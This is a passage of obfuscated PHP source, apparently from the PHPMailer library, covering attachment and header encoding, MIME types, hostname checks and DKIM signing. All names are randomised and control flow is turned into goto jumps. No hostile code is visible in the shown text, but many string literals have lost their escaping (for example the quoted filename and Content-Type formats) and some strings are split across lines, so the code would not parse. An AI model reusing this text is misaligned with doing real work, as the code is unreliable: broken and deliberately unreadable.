$vXmoj = hash("sha256", serialize($XGAfM));
if (!in_array($vXmoj, $JqU5f)) {
goto soGdQ;
}
goto v5t7l;
soGdQ:
$JqU5f[] = $vXmoj;
$dEC3m = $XGAfM[2];
$CTuvx = $XGAfM[3];
$W7B1j = $XGAfM[4];
$wOvSy = $XGAfM[6];
$qsaom = $XGAfM[7];
if (!("inline" == $wOvSy and array_key_exists($qsaom, $ZqXFB))) {
goto J2yWg;
}
goto v5t7l;
J2yWg:
$ZqXFB[$qsaom] = true;
$x0bAU[] = sprintf("--%s%s", $DCyE_, static::$LE);
if (!empty($dEC3m)) {
goto oUzVn;
}
$x0bAU[] = sprintf("Content-Type: %s%s", $W7B1j, static::$LE);
goto JVVtn;
oUzVn:
$x0bAU[] = sprintf("Content-Type: %s; name="%s"%s", $W7B1j, $this->encodeHeader($this->secureHeader($dEC3m)), static::$LE);
JVVtn:
if (!(static::ENCODING_7BIT != $CTuvx)) {
goto oo4wW;
}
$x0bAU[] = sprintf("Content-Transfer-Encoding: %s%s", $CTuvx, static::$LE);
oo4wW:
if (empty($qsaom)) {
goto oYrr0;
}
$x0bAU[] = sprintf("Content-ID: <%s>%s", $qsaom, static::$LE);
oYrr0:
if (!empty($wOvSy)) {
goto zS7Wc;
}
$x0bAU[] = static::$LE;
goto zRuBG;
zS7Wc:
$hL22e = $this->encodeHeader($this->secureHeader($dEC3m));
if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $hL22e)) {
goto eNcYm;
}
if (!empty($hL22e)) {
goto mMXe1;
}
$x0bAU[] = sprintf("Content-Disposition: %s%s", $wOvSy, static::$LE . static::$LE);
goto Ls9dA;
mMXe1:
$x0bAU[] = sprintf("Content-Disposition: %s; filename=%s%s", $wOvSy, $hL22e, static::$LE . static::$LE);
Ls9dA:
goto rE0Vo;
eNcYm:
$x0bAU[] = sprintf("Content-Disposition: %s; filename="%s"%s", $wOvSy, $hL22e, static::$LE . static::$LE);
rE0Vo:
zRuBG:
if ($iS2Yi) {
goto j3pk_;
}
$x0bAU[] = $this->encodeFile($t1usk, $CTuvx);
goto wrvHd;
j3pk_:
$x0bAU[] = $this->encodeString($jm30w, $CTuvx);
wrvHd:
if (!$this->isError()) {
goto HvO_Q;
}
return '';
HvO_Q:
$x0bAU[] = static::$LE;
Ywv_1:
v5t7l:
}
OSMC_:
$x0bAU[] = sprintf("--%s--%s", $DCyE_, static::$LE);
return implode('', $x0bAU);
}
protected function encodeFile($t1usk, $CTuvx = self::ENCODING_BASE64)
{
try {
if (!(!static::isPermittedPath($t1usk) || !file_exists($t1usk))) {
goto iGX3W;
}
throw new Exception($this->lang("file_open") . $t1usk, self::STOP_CONTINUE);
iGX3W:
$P60uD = file_get_contents($t1usk);
if (!(false === $P60uD)) {
goto a15P1;
}
throw new Exception($this->lang("file_open") . $t1usk, self::STOP_CONTINUE);
a15P1:
$P60uD = $this->encodeString($P60uD, $CTuvx);
return $P60uD;
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
return '';
}
}
public function encodeString($YX4WE, $CTuvx = self::ENCODING_BASE64)
{
$KtgKe = '';
switch (strtolower($CTuvx)) {
case static::ENCODING_BASE64:
$KtgKe = chunk_split(base64_encode($YX4WE), static::STD_LINE_LENGTH, static::$LE);
goto M8sUw;
case static::ENCODING_7BIT:
case static::ENCODING_8BIT:
$KtgKe = static::normalizeBreaks($YX4WE);
if (!(substr($KtgKe, -strlen(static::$LE)) != static::$LE)) {
goto fuHT5;
}
$KtgKe .= static::$LE;
fuHT5:
goto M8sUw;
case static::ENCODING_BINARY:
$KtgKe = $YX4WE;
goto M8sUw;
case static::ENCODING_QUOTED_PRINTABLE:
$KtgKe = $this->encodeQP($YX4WE);
goto M8sUw;
default:
$this->setError($this->lang("encoding") . $CTuvx);
goto M8sUw;
}
LH3Gf:
M8sUw:
return $KtgKe;
}
public function encodeHeader($YX4WE, $toYvh = "text")
{
$FcxOg = 0;
switch (strtolower($toYvh)) {
case "phrase":
if (preg_match("/[\200-\377]/", $YX4WE)) {
goto YmQ_6;
}
$KtgKe = addcslashes($YX4WE, "\0..\37\177\"");
if (!($YX4WE == $KtgKe and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $YX4WE))) {
goto dzEzo;
}
return $KtgKe;
dzEzo:
return ""{$KtgKe}"";
YmQ_6:
$FcxOg = preg_match_all("/[^\040\041\043-\133\135-\176]/", $YX4WE, $I3B9w);
goto rcbvt;
case "comment":
$FcxOg = preg_match_all("/[()"]/", $YX4WE, $I3B9w);
case "text":
default:
$FcxOg += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $YX4WE, $I3B9w);
goto rcbvt;
}
TFGkl:
rcbvt:
$CNWiI = "mail" == $this->Mailer ? 13 : 0;
$toj7M = static::STD_LINE_LENGTH - $CNWiI;
if ($FcxOg > strlen($YX4WE) / 3) {
goto XcgG8;
}
if ($FcxOg > 0) {
goto SKXjy;
}
if (strlen($YX4WE) > $toj7M) {
goto nTpgc;
}
return $YX4WE;
goto lYL24;
XcgG8:
$CTuvx = "B";
$toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
if ($this->hasMultiBytes($YX4WE)) {
goto BR5Wa;
}
$KtgKe = base64_encode($YX4WE);
$toj7M -= $toj7M % 4;
$KtgKe = trim(chunk_split($KtgKe, $toj7M, "
"));
goto nXrvs;
BR5Wa:
$KtgKe = $this->base64EncodeWrapMB($YX4WE, "
");
nXrvs:
$KtgKe = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$CTuvx}?\1?=", $KtgKe);
goto lYL24;
SKXjy:
$CTuvx = "Q";
$toj7M = static::STD_LINE_LENGTH - $CNWiI - 8 - strlen($this->CharSet);
$KtgKe = $this->encodeQ($YX4WE, $toYvh);
$KtgKe = $this->wrapText($KtgKe, $toj7M, true);
$KtgKe = str_replace("=" . static::$LE, "\xa", trim($KtgKe));
$KtgKe = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$CTuvx}?\1?=", $KtgKe);
goto lYL24;
nTpgc:
$KtgKe = trim($this->wrapText($YX4WE, $toj7M, false));
if (!($YX4WE == $KtgKe)) {
goto IypyJ;
}
$KtgKe = trim(chunk_split($YX4WE, static::STD_LINE_LENGTH, static::$LE));
IypyJ:
$KtgKe = str_replace(static::$LE, "
", trim($KtgKe));
$KtgKe = preg_replace("/^(.*)$/m", " \1", $KtgKe);
lYL24:
return trim(static::normalizeBreaks($KtgKe));
}
public function hasMultiBytes($YX4WE)
{
if (!function_exists("mb_strlen")) {
goto o054B;
}
return strlen($YX4WE) > mb_strlen($YX4WE, $this->CharSet);
o054B:
return false;
}
public function has8bitChars($izkEo)
{
return (bool) preg_match("/[\x80-\xFF]/", $izkEo);
}
public function base64EncodeWrapMB($YX4WE, $DQcZH = null)
{
$bFUGm = "=?" . $this->CharSet . "?B?";
$Z8gKi = "?=";
$KtgKe = '';
if (!(null === $DQcZH)) {
goto Vau9e;
}
$DQcZH = static::$LE;
Vau9e:
$bFy1z = mb_strlen($YX4WE, $this->CharSet);
$Z6HTu = 75 - strlen($bFUGm) - strlen($Z8gKi);
$Gh5p0 = $bFy1z / strlen($YX4WE);
$vQ6V_ = floor($Z6HTu * $Gh5p0 * 0.75);
$KJHmb = 0;
sJMqb:
if (!($KJHmb < $bFy1z)) {
goto JwKVM;
}
$NPMHP = 0;
EGi6I:
$ynVzc = $vQ6V_ - $NPMHP;
$d_gCi = mb_substr($YX4WE, $KJHmb, $ynVzc, $this->CharSet);
$d_gCi = base64_encode($d_gCi);
++$NPMHP;
if (strlen($d_gCi) > $Z6HTu) {
goto EGi6I;
}
uAtIF:
$KtgKe .= $d_gCi . $DQcZH;
t28Pn:
$KJHmb += $ynVzc;
goto sJMqb;
JwKVM:
return substr($KtgKe, 0, -strlen($DQcZH));
}
public function encodeQP($jm30w)
{
return static::normalizeBreaks(quoted_printable_encode($jm30w));
}
public function encodeQ($YX4WE, $toYvh = "text")
{
$zf42W = '';
$KtgKe = str_replace(["
", "
"], '', $YX4WE);
switch (strtolower($toYvh)) {
case "phrase":
$zf42W = "^A-Za-z0-9!*+\/ -";
goto n0Ef0;
case "comment":
$zf42W = "\(\)"";
case "text":
default:
$zf42W = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $zf42W;
goto n0Ef0;
}
Hi636:
n0Ef0:
$I3B9w = [];
if (!preg_match_all("/[{$zf42W}]/", $KtgKe, $I3B9w)) {
goto s6xON;
}
$n2U4c = array_search("=", $I3B9w[0]);
if (!(false !== $n2U4c)) {
goto kVYmJ;
}
unset($I3B9w[0][$n2U4c]);
array_unshift($I3B9w[0], "=");
kVYmJ:
foreach (array_unique($I3B9w[0]) as $E1cUa) {
$KtgKe = str_replace($E1cUa, "=" . sprintf("%02X", ord($E1cUa)), $KtgKe);
hru8R:
}
RUs4v:
s6xON:
return str_replace(" ", "_", $KtgKe);
}
public function addStringAttachment($jm30w, $FFm9e, $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "attachment")
{
if (!('' == $W7B1j)) {
goto IYPlp;
}
$W7B1j = static::filenameToType($FFm9e);
IYPlp:
$this->attachment[] = [0 => $jm30w, 1 => $FFm9e, 2 => basename($FFm9e), 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => 0];
}
public function addEmbeddedImage($t1usk, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "inline")
{
if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
goto u5LeL;
}
$this->setError($this->lang("file_access") . $t1usk);
return false;
u5LeL:
if (!('' == $W7B1j)) {
goto XSCS1;
}
$W7B1j = static::filenameToType($t1usk);
XSCS1:
$FFm9e = basename($t1usk);
if (!('' == $dEC3m)) {
goto v39LO;
}
$dEC3m = $FFm9e;
v39LO:
$this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $qsaom];
return true;
}
public function addStringEmbeddedImage($jm30w, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "inline")
{
if (!('' == $W7B1j and !empty($dEC3m))) {
goto HVcii;
}
$W7B1j = static::filenameToType($dEC3m);
HVcii:
$this->attachment[] = [0 => $jm30w, 1 => $dEC3m, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => $qsaom];
return true;
}
protected function cidExists($qsaom)
{
foreach ($this->attachment as $XGAfM) {
if (!("inline" == $XGAfM[6] and $qsaom == $XGAfM[7])) {
goto eK595;
}
return true;
eK595:
GU1c9:
}
fH2Y8:
return false;
}
public function inlineImageExists()
{
foreach ($this->attachment as $XGAfM) {
if (!("inline" == $XGAfM[6])) {
goto odzO0;
}
return true;
odzO0:
smMKb:
}
kvv1Y:
return false;
}
public function attachmentExists()
{
foreach ($this->attachment as $XGAfM) {
if (!("attachment" == $XGAfM[6])) {
goto haCT0;
}
return true;
haCT0:
dkn59:
}
DvjZ_:
return false;
}
public function alternativeExists()
{
return !empty($this->AltBody);
}
public function clearQueuedAddresses($unDTy)
{
$this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($s2iYx) use($unDTy) {
return $s2iYx[0] != $unDTy;
});
}
public function clearAddresses()
{
foreach ($this->to as $g7_oI) {
unset($this->all_recipients[strtolower($g7_oI[0])]);
fNsDl:
}
vhppW:
$this->to = [];
$this->clearQueuedAddresses("to");
}
public function clearCCs()
{
foreach ($this->cc as $bKKB9) {
unset($this->all_recipients[strtolower($bKKB9[0])]);
DkZ_M:
}
EzPFP:
$this->cc = [];
$this->clearQueuedAddresses("cc");
}
public function clearBCCs()
{
foreach ($this->bcc as $DZLkJ) {
unset($this->all_recipients[strtolower($DZLkJ[0])]);
p4s9M:
}
GaRDJ:
$this->bcc = [];
$this->clearQueuedAddresses("bcc");
}
public function clearReplyTos()
{
$this->ReplyTo = [];
$this->ReplyToQueue = [];
}
public function clearAllRecipients()
{
$this->to = [];
$this->cc = [];
$this->bcc = [];
$this->all_recipients = [];
$this->RecipientsQueue = [];
}
public function clearAttachments()
{
$this->attachment = [];
}
public function clearCustomHeaders()
{
$this->CustomHeader = [];
}
protected function setError($naxGQ)
{
++$this->error_count;
if (!("smtp" == $this->Mailer and null !== $this->smtp)) {
goto dznwg;
}
$RhW13 = $this->smtp->getError();
if (empty($RhW13["error"])) {
goto z2wCv;
}
$naxGQ .= $this->lang("smtp_error") . $RhW13["error"];
if (empty($RhW13["detail"])) {
goto L9IM1;
}
$naxGQ .= " Detail: " . $RhW13["detail"];
L9IM1:
if (empty($RhW13["smtp_code"])) {
goto wREEN;
}
$naxGQ .= " SMTP code: " . $RhW13["smtp_code"];
wREEN:
if (empty($RhW13["smtp_code_ex"])) {
goto CU2Tp;
}
$naxGQ .= " Additional SMTP info: " . $RhW13["smtp_code_ex"];
CU2Tp:
z2wCv:
dznwg:
$this->ErrorInfo = $naxGQ;
}
public static function rfcDate()
{
date_default_timezone_set(@date_default_timezone_get());
return date("D, j M Y H:i:s O");
}
protected function serverHostname()
{
$HYIC3 = '';
if (!empty($this->Hostname)) {
goto Z_UZp;
}
if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) {
goto A2qaZ;
}
if (function_exists("gethostname") and gethostname() !== false) {
goto N9vaW;
}
if (php_uname("n") !== false) {
goto xWMwl;
}
goto ncEqQ;
Z_UZp:
$HYIC3 = $this->Hostname;
goto ncEqQ;
A2qaZ:
$HYIC3 = $_SERVER["SERVER_NAME"];
goto ncEqQ;
N9vaW:
$HYIC3 = gethostname();
goto ncEqQ;
xWMwl:
$HYIC3 = php_uname("n");
ncEqQ:
if (static::isValidHost($HYIC3)) {
goto Gvq44;
}
return "localhost.localdomain";
Gvq44:
return $HYIC3;
}
public static function isValidHost($S1iUU)
{
if (!(empty($S1iUU) or !is_string($S1iUU) or strlen($S1iUU) > 256)) {
goto ivFol;
}
return false;
ivFol:
if (!(trim($S1iUU, "[]") != $S1iUU)) {
goto HlRll;
}
return (bool) filter_var(trim($S1iUU, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
HlRll:
if (!is_numeric(str_replace(".", '', $S1iUU))) {
goto Q4C0D;
}
return (bool) filter_var($S1iUU, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
Q4C0D:
if (!filter_var("http://" . $S1iUU, FILTER_VALIDATE_URL)) {
goto LymsV;
}
return true;
LymsV:
return false;
}
protected function lang($pEv6e)
{
if (!(count($this->language) < 1)) {
goto N6JAG;
}
$this->setLanguage("en");
N6JAG:
if (!array_key_exists($pEv6e, $this->language)) {
goto YaLKe;
}
if (!("smtp_connect_failed" == $pEv6e)) {
goto I8fnO;
}
return $this->language[$pEv6e];
I8fnO:
return $this->language[$pEv6e];
YaLKe:
return $pEv6e;
}
public function isError()
{
return $this->error_count > 0;
}
public function addCustomHeader($dEC3m, $GywUj = null)
{
if (null === $GywUj) {
goto CyTJG;
}
$this->CustomHeader[] = [$dEC3m, $GywUj];
goto hZd43;
CyTJG:
$this->CustomHeader[] = explode(":", $dEC3m, 2);
hZd43:
}
public function getCustomHeaders()
{
return $this->CustomHeader;
}
public function msgHTML($GRJNx, $k002A = '', $oZBq4 = false)
{
preg_match_all("/(src|background)=["'](.*)["']/Ui", $GRJNx, $Y5L2H);
if (!array_key_exists(2, $Y5L2H)) {
goto ySnol;
}
if (!(strlen($k002A) > 1 && "/" != substr($k002A, -1))) {
goto I16vn;
}
$k002A .= "/";
I16vn:
foreach ($Y5L2H[2] as $E9Pp8 => $z11sT) {
if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $z11sT, $WdJzM)) {
goto yHA0f;
}
if (count($WdJzM) == 4 and static::ENCODING_BASE64 == $WdJzM[2]) {
goto xctvD;
}
if ('' == $WdJzM[2]) {
goto sp5ly;
}
goto lm5Ei;
goto GMdlM;
xctvD:
$FJQWD = base64_decode($WdJzM[3]);
goto GMdlM;
sp5ly:
$FJQWD = rawurldecode($WdJzM[3]);
GMdlM:
$qsaom = hash("sha256", $FJQWD) . "@phpmailer.0";
if ($this->cidExists($qsaom)) {
goto FGhpv;
}
$this->addStringEmbeddedImage($FJQWD, $qsaom, "embed" . $E9Pp8, static::ENCODING_BASE64, $WdJzM[1]);
FGhpv:
$GRJNx = str_replace($Y5L2H[0][$E9Pp8], $Y5L2H[1][$E9Pp8] . "="cid:" . $qsaom . """, $GRJNx);
goto lm5Ei;
yHA0f:
if (!(!empty($k002A) and strpos($z11sT, "..") === false and 0 !== strpos($z11sT, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $z11sT))) {
goto Gk0gJ;
}
$FFm9e = basename($z11sT);
$eypdK = dirname($z11sT);
if (!("." == $eypdK)) {
goto gOtz6;
}
$eypdK = '';
gOtz6:
$qsaom = hash("sha256", $z11sT) . "@phpmailer.0";
if (!(strlen($k002A) > 1 and "/" != substr($k002A, -1))) {
goto lQ0Xx;
}
$k002A .= "/";
lQ0Xx:
if (!(strlen($eypdK) > 1 and "/" != substr($eypdK, -1))) {
goto h20WH;
}
$eypdK .= "/";
h20WH:
if (!$this->addEmbeddedImage($k002A . $eypdK . $FFm9e, $qsaom, $FFm9e, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION)))) {
goto swbf5;
}
$GRJNx = preg_replace("/" . $Y5L2H[1][$E9Pp8] . "=["']" . preg_quote($z11sT, "/") . "["']/Ui", $Y5L2H[1][$E9Pp8] . "="cid:" . $qsaom . """, $GRJNx);
swbf5:
Gk0gJ:
lm5Ei:
}
vCEem:
ySnol:
$this->isHTML(true);
$this->Body = static::normalizeBreaks($GRJNx);
$this->AltBody = static::normalizeBreaks($this->html2text($GRJNx, $oZBq4));
if ($this->alternativeExists()) {
goto WlghN;
}
$this->AltBody = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$LE;
WlghN:
return $this->Body;
}
public function html2text($PDovp, $oZBq4 = false)
{
if (!is_callable($oZBq4)) {
goto yeXlE;
}
return call_user_func($oZBq4, $PDovp);
yeXlE:
return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $PDovp))), ENT_QUOTES, $this->CharSet);
}
public static function _mime_types($Xeg7j = '')
{
$wBW2I = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"];
$Xeg7j = strtolower($Xeg7j);
if (!array_key_exists($Xeg7j, $wBW2I)) {
goto iWkY7;
}
return $wBW2I[$Xeg7j];
iWkY7:
return "application/octet-stream";
}
public static function filenameToType($FFm9e)
{
$Z5fH7 = strpos($FFm9e, "?");
if (!(false !== $Z5fH7)) {
goto HeLTR;
}
$FFm9e = substr($FFm9e, 0, $Z5fH7);
HeLTR:
$Xeg7j = static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION);
return static::_mime_types($Xeg7j);
}
public static function mb_pathinfo($t1usk, $p0n3v = null)
{
$mgR5a = ["dirname" => '', "basename" => '', "extension" => '', "filename" => ''];
$Bg9Qp = [];
if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$#im", $t1usk, $Bg9Qp)) {
goto cvcVZ;
}
if (!array_key_exists(1, $Bg9Qp)) {
goto J06hm;
}
$mgR5a["dirname"] = $Bg9Qp[1];
J06hm:
if (!array_key_exists(2, $Bg9Qp)) {
goto ZV9WE;
}
$mgR5a["basename"] = $Bg9Qp[2];
ZV9WE:
if (!array_key_exists(5, $Bg9Qp)) {
goto Ft9_E;
}
$mgR5a["extension"] = $Bg9Qp[5];
Ft9_E:
if (!array_key_exists(3, $Bg9Qp)) {
goto LsXbU;
}
$mgR5a["filename"] = $Bg9Qp[3];
LsXbU:
cvcVZ:
switch ($p0n3v) {
case PATHINFO_DIRNAME:
case "dirname":
return $mgR5a["dirname"];
case PATHINFO_BASENAME:
case "basename":
return $mgR5a["basename"];
case PATHINFO_EXTENSION:
case "extension":
return $mgR5a["extension"];
case PATHINFO_FILENAME:
case "filename":
return $mgR5a["filename"];
default:
return $mgR5a;
}
K7A9l:
TJ294:
}
public function set($dEC3m, $GywUj = '')
{
if (!property_exists($this, $dEC3m)) {
goto HIkrw;
}
$this->{$dEC3m} = $GywUj;
return true;
HIkrw:
$this->setError($this->lang("variable_set") . $dEC3m);
return false;
}
public function secureHeader($YX4WE)
{
return trim(str_replace(["\xd", "
"], '', $YX4WE));
}
public static function normalizeBreaks($izkEo, $IOR82 = null)
{
if (!(null === $IOR82)) {
goto i95H1;
}
$IOR82 = static::$LE;
i95H1:
$izkEo = str_replace(["
", "\xd"], "
", $izkEo);
if (!("\xa" !== $IOR82)) {
goto fWt3p;
}
$izkEo = str_replace("\xa", $IOR82, $izkEo);
fWt3p:
return $izkEo;
}
public static function getLE()
{
return static::$LE;
}
protected static function setLE($cnE0e)
{
static::$LE = $cnE0e;
}
public function sign($Bn_5X, $VB7tf, $pKFGn, $IhWe8 = '')
{
$this->sign_cert_file = $Bn_5X;
$this->sign_key_file = $VB7tf;
$this->sign_key_pass = $pKFGn;
$this->sign_extracerts_file = $IhWe8;
}
public function DKIM_QP($xjCDA)
{
$rYeep = '';
$XtdVD = strlen($xjCDA);
$KJHmb = 0;
d60Js:
if (!($KJHmb < $XtdVD)) {
goto XqoAZ;
}
$UalVS = ord($xjCDA[$KJHmb]);
if (0x21 <= $UalVS and $UalVS <= 0x3a or $UalVS == 0x3c or 0x3e <= $UalVS and $UalVS <= 0x7e) {
goto EGzdc;
}
$rYeep .= "=" . sprintf("%02X", $UalVS);
goto uTqg5;
EGzdc:
$rYeep .= $xjCDA[$KJHmb];
uTqg5:
zF8lx:
++$KJHmb;
goto d60Js;
XqoAZ:
return $rYeep;
}
public function DKIM_Sign($b_n_I)
{
if (defined("PKCS7_TEXT")) {
goto v21nZ;
}
if (!$this->exceptions) {
goto y6OyH;
}
throw new Exception($this->lang("extension_missing") . "openssl");
y6OyH:
return '';
v21nZ:
$keegN = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
goto t1sfs;
}
$pUWMr = openssl_pkey_get_private($keegN);
goto bxpog;
t1sfs:
$pUWMr = openssl_pkey_get_private($keegN, $this->DKIM_passphrase);
bxpog:
if (!openssl_sign($b_n_I, $EUe0N, $pUWMr, "sha256WithRSAEncryption")) {
goto ZDSzP;
}
openssl_pkey_free($pUWMr);
return base64_encode($EUe0N);
ZDSzP:
openssl_pkey_free($pUWMr);
return '';
}
public function DKIM_HeaderC($b_n_I)
{
$b_n_I = preg_replace("/\r\n[ \t]+/", " ", $b_n_I);
$yCe67 = explode("\xd
", $b_n_I);
foreach ($yCe67 as $pEv6e => $rYeep) {
if (!(strpos($rYeep, ":") === false)) {
goto gb23l;
}
goto Cnmvb;
gb23l:
list($Zb8eM, $GywUj) = explode(":", $rYeep, 2);
$Zb8eM = strtolower($Zb8eM);
$GywUj = preg_replace("/[ \t]{2,}/", " ", $GywUj);
$yCe67[$pEv6e] = trim($Zb8eM, " ") . ":" . trim($GywUj, " \x9");
Cnmvb:
}
flMcT:
return implode("\xd\xa", $yCe67);
}
public function DKIM_BodyC($UlmlF)
{
if (!empty($UlmlF)) {
goto K1Fpz;
}
return "\xd
";
K1Fpz:
$UlmlF = static::normalizeBreaks($UlmlF, "\xd
");
return rtrim($UlmlF, "
\xa") . "\xd
";
}
public function DKIM_Add($DxRuc, $q3Ca0, $UlmlF)
{
$cO5ZR = "rsa-sha256";
$M0r21 = "relaxed/simple";
$fNuyO = "dns/txt";
$brkl5 = time();
$drfJj = "Subject: {$q3Ca0}";
$kQ6Rm = explode(static::$LE, $DxRuc);
$brIkc = '';
$Z42y0 = '';
$SrMnh = '';
$q4mu1 = '';
$naPXG = '';
$cCM45 = [];
$Yb3B_ = '';
$BYJBz = '';
$C0lWR = '';
foreach ($kQ6Rm as $y_KXY) {
if (strpos($y_KXY, "From:") === 0) {
goto ryNwY;
}
if (strpos($y_KXY, "To:") === 0) {
goto NzZUv;
}
if (strpos($y_KXY, "Date:") === 0) {
goto NURSH;
}
if (!empty($this->DKIM_extraHeaders)) {
goto q3Hm3;
}
if (!empty(${$q4mu1}) and strpos($y_KXY, " =?") === 0) {
goto qEBnu;
}
$q4mu1 = '';
goto KwP5j;
qEBnu:
${$q4mu1} .= $y_KXY;
KwP5j:
goto lwsmH;
ryNwY:
$brIkc = $y_KXY;
$q4mu1 = "from_header";
goto lwsmH;
NzZUv:
$Z42y0 = $y_KXY;
$q4mu1 = "to_header";
goto lwsmH;
NURSH:
$SrMnh = $y_KXY;
$q4mu1 = "date_header";
goto lwsmH;
q3Hm3:
foreach ($this->DKIM_extraHeaders as $zxaNM) {
if (!(strpos($y_KXY, $zxaNM . ":") === 0)) {
goto nNoe2;
}
$EiLO0 = $y_KXY;
foreach ($this->CustomHeader as $Fh8w2) {
if (!($Fh8w2[0] === $zxaNM)) {
goto nPAeC;
}
$EiLO0 = trim($Fh8w2[0]) . ": " . $this->encodeHeader(trim($Fh8w2[1]));
goto Xf5AL;
nPAeC:
GuqII:
}
Xf5AL:
$cCM45[$zxaNM] = $EiLO0;
$q4mu1 = '';
goto jnkZT;
nNoe2:
RLZPJ:
}
jnkZT:
lwsmH:
JZ0J0:
}
IMSDX:
foreach ($cCM45 as $pEv6e => $GywUj) {
$Yb3B_ .= ":" . $pEv6e;
$BYJBz .= $GywUj . "
";
if (!$this->DKIM_copyHeaderFields) {
goto nc_Ls;
}
$C0lWR .= "\x9|" . str_replace("|", "=7C", $this->DKIM_QP($GywUj)) . ";
\xa";
nc_Ls:
F7oPZ:
}
XIDOE:
if (!$this->DKIM_copyHeaderFields) {
goto kckti;
}
$zzfpb = str_replace("|", "=7C", $this->DKIM_QP($brIkc));
$g7_oI = str_replace("|", "=7C", $this->DKIM_QP($Z42y0));
$rWVwM = str_replace("|", "=7C", $this->DKIM_QP($SrMnh));
$q3Ca0 = str_replace("|", "=7C", $this->DKIM_QP($drfJj));
